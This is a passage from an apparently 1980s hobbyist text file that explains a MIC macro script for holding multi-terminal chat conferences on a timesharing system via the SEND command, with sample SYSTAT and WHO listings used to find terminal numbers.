.DO COM command. The program can be entered with any editor (I recommend SED if you have VT52 emulation), and should be saved as COM.MIC. The program does not assume any specific terminal type or emulation. You will have to know the TTY number of any person you wish to add to the conference, but this is available through a .SYSTAT command or .R WHO (see below.) SYSTAT This is an example of a SYSTAT to used to determine TTY#... Status of Saturn 7.03.2 at 7:27:51 on 03-Oct-86 Uptime 40:41:14, 77% Null time = 77% Idle + 0% Lost, 9% Overhead 27 Jobs in use out of 128. 27 logged in (LOGMAX of 127), 16 detached. PPN# TTY# CURR SIZE 19 [OPR] 6 OPR 56+39 HB 18 20 7,20 5 OPR 23+39 HB 24 $ 21 2501,1007 56 COMPIL 8+8 ^C 1:34 $ 22 66,1012 57 TECO 10+12 TI 39 23 66,1011 62 1022 16+55 TI 36 $ 24 [SELF] 64 SYSTAT 23+SPY RN 0 $ 26 [OPR] DET STOMPR 10+9 SL 2 27 16011,1003 DET DIRECT 17+32 ^C 30 $ 36 [OPR] DET FILDAE 17 HB 1:57 The TTY# is available in the TTY column... DET means that the user is detached and is unavailable for chatting... Below is an example of .R WHO to obtain the same information... /- jobs in use out of 127. Job Who Line PPN 20 OPERATOR 20 5 7,20 21 DISPONDENT 56 2501,1007 22 ADP-TBO 57 66,1012 23 ADP-MDL 62 66,1011 24 THE MENTOR 64 XXXX,XXX 27 GEO4440103 Det 16011,1003 In each case, I am on TTY# 64... Anyway, use the following program, it's more convenient that doing a .SEN every time you want to send a message. Also, to shut out an annoying sender, use .SET TTY GAG. To remove, .SET TTY NO GAG... pretty simple, huh? start:: ! !Now in loop: 'a 'b 'c 'd 'e 'f ! .mic input A,"Destination Terminal 1:" .if ($a="") .goto welcome .mic input B,"Destination Terminal 2:" .if ($b="") .goto welcome .mic input C,"Destination Terminal 3:" .if ($c="") .goto welcome .mic input D,"Destination Terminal 4:" .if ($d="") .goto welcome .mic input E,"Destination Terminal 5:" .if ($e="") .goto welcome .mic input F,"Destination Terminal 6:" .if ($f="") .goto welcome welcome:: !Sending Hello Message... sen 'a Conference Forming on TTYs 'b 'c 'd 'e 'f ... DO COM to these to join' sen 'b Conference Forming on TTYs 'a 'c 'd 'e 'f ... DO COM to these to join' sen 'c Conference Forming on TTYs 'a 'b 'd 'e 'f ... DO COM to these to join' sen 'd Conference Forming on TTYs 'a 'b 'c 'e 'f ... DO COM to these to join' sen 'e Conference Forming on TTYs 'a 'b 'c 'd 'f ... DO COM to these to join' sen 'f Conference Forming on TTYs 'a 'b 'c 'd 'e ... DO COM to these to join' ! !Type /h for help com:: .mic input G,"T>" !Checking Commands.. Wait.. .if ($g="/h") .goto help .if ($g="/k") .goto kill .if ($g="/l") .goto list .if ($g="/d") .goto drop .if ($g="/t") .goto time .if ($g="/w") .goto who .if ($g="/u") .goto users .if ($g="/q") .goto quit .if ($g="/r") .backto start .if ($g="/ac") .goto ack !Transmitting.. Wait.. sen 'a 'g sen 'b 'g sen 'c 'g sen 'd 'g sen 'e 'g sen 'f 'g .backto com help:: ! ! Internal Commands ! ! /H -> This Menu /K -> Kill ! /L -> List Terminals /U -> Users ! /W -> R who /AC-> Alert Caller ! /Q -> Quit ! /R -> Restart/Add ! /T -> Show Date/Time ! /D -> Drop Caller ! ! All Commands must be in lower case. ! .backto com list:: ! !Currently Connected To Terminals: 'a 'b 'c 'd 'e 'f ! .backto com who:: .revive .r who ' .backto com users:: .revive .r users ' .BACKTO COM QUIT:: ! !Call The Shack... 512-396-1120 300/1200 24 hours ! .mic cancel drop:: ! !Send Hangup Message:: Enter Terminal Number To Be Disconnected. ! .mic input h,"Destination Terminal Number:" .sen 'h <=- Communication Terminated at '